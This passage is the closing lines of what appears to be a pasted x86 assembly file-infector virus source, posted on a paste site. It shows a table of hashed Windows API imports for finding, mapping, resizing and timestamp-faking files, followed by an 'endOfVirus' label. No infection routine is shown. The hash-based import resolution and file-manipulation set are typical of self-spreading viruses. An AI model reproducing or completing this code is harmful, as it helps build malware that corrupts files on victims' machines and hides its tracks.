  707.      FindFirstFileA:          dd 0x79e4b02e
  708.      FindNextFileA:           dd 0x853fd939
  709.      GetCurrentDirectoryA:    dd 0xa4ab4137
  710.      GetFileAttributesA:      dd 0xbcd7bc98
  711.      GetFileSize:             dd 0xb36c10f3
  712.      GetFileTime:             dd 0xb36c83bf
  713.      GetStdHandle:            dd 0xe0557795 ; delete
  714.      MapViewOfFile:           dd 0xcbee3954
  715.      SetEndOfFile:            dd 0xbdca5e8c
  716.      SetFileAttributesA:      dd 0xf3ae560c
  717.      SetFilePointer:          dd 0x8dce837f
  718.      SetFileTime:             dd 0xae24e4cb
  719.      UnmapViewOfFile:         dd 0x7f75f35b
  720.      WriteFile:               dd 0x2398d9db ; delete
  721.  
  722.  
  723.     NOPS
  724.  
  725.  
  726. endOfVirus:
  727.  
  728.     push    0
  729.     call    _ExitProcess@4
  730.  
Add Comment
Please, Sign In to add comment